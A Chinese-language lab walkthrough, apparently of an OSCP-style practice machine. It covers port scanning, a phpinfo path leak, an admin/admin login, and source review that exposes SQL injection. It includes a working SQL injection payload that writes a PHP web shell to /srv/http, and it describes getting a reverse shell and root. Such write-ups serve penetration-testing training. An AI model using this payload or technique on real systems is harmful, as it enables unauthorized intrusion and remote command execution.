又是熟悉的端口扫描起手,但是这次有了三个http服务,比较稀奇,肯定要去挨个访问一下
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 3072 78:2f:ea:84:4c:09:ae:0e:36:bf:b3:01:35:cf:47:22 (RSA)
| 256 d2:7d:eb:2d:a5:9a:2f:9e:93:9a:d5:2e:aa:dc:f4:a6 (ECDSA)
|_ 256 b6:d4:96:f0:a4:04:e4:36:78:1e:9d:a5:10:93:d7:99 (ED25519)
111/tcp closed rpcbind
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
17445/tcp open http Apache Tomcat (language: en)
|_http-title: Issue Tracker
|_http-trane-info: Problem with XML parsing of /evox/about
30455/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: W3.CSS
50080/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.15
|_http-title: W3.CSS Template
第一个17445端口的http服务有一个可以注册的地方,可以通过注册的用户登录,除了但是除了用户名好像没其他发现,先做记录保存

然后就是30455端口,基础页面无功能点不用看了,果断跳到目录扫描

在这次扫描中发现了phpinfo页面,这个页面上面有着绝对路径,对于上传文件很有帮助

我们直接访问这个界面,向下划当你看到php variable是这个时候

我们发现这个所谓的phpinfo.php在 这个目录/srv/http底下,所以我们大致知道了上传文件的绝对路径,剩下就是找上传点

紧接着我们来到了这个50080界面还是没有什么功能点

继续枚举一些目录信息,然后我们发现了一个cloud目录底下登录界面
果断访问这个页面,发现需要密码,初步尝试弱口令admin/admin,至于怎么想到这一块儿的,我只能说凡是登录界面这个是必须的步骤

然后我们也是成功登录这个cloud服务,然后我们在这个服务底下知道了这个服务的版本号,经过漫长的寻找并无可利用的exp,于是果断回到这个初始界面,挨个点击这些已经有的文件,我们发现这个zip文件可以下载,下载之后我们会得到一份源码,这里忘截图了,我就具体描述一下,你在这个压缩包中会得到一个java源码是关于17445端口的服务,然后如果你不知道怎么去找关键地方我建议是一个一个看过去,但是如果你有过一定的Java源码审计的经历,那就直接看contro那个java源码即可,那里面的源码挺简单的,就是一个简单的sql执行问题,不需要构造特别复杂的sql注入语句

然后我们去访问这个目录出现了405报错,直接开启burp查看一下是不是请求方式的问题,因为目录是肯定没问题的,然后抓包之后放到repeater中,你会发现返回包中会提醒你要用post方式请求。换post之后你便可以看到返回包的状态码变成了400,然后我们再后续进行下一步

然后这里我们直接采取写马子的方式,因为我们在第二个http服务中看到了绝对路径,并且它可以执行php,肯定要去试一试,毕竟我们是要去拿shell的,然后你们用我这个命令即可,只需要注意要进行url编码,要不然不会成功
' union select '<?php system($_GET["cmd"]); ?>' into outfile '/srv/http/456.php' -- -

这里也是贴出我的编码过程

后续就是简单的了,在我们拿到一个执行命令的地方,直接构造反弹shell的命令即可,不过这里还需要注意一点,就是反弹的端口一定得是端口扫描出现的端口。要不然你会拿不到反弹的shell,这里需要注意下。

这里也是直接执行命令

查看反弹端口,成功拿到root权限(比较奇怪,我还以为还需要进行枚举,不过还是值得开心一下,毕竟少了一大步)

总结:
很有难度和创意的一个靶场,感觉是有点贴合oscp考试宗旨不断的枚举,不断的信息收集,拒绝exp的直接利用,虽然官方定义是非常简单的难度,但即使是我做起来也是花费了很多时间,我个人绝对这是个不可忽视值得不断回顾的好靶场。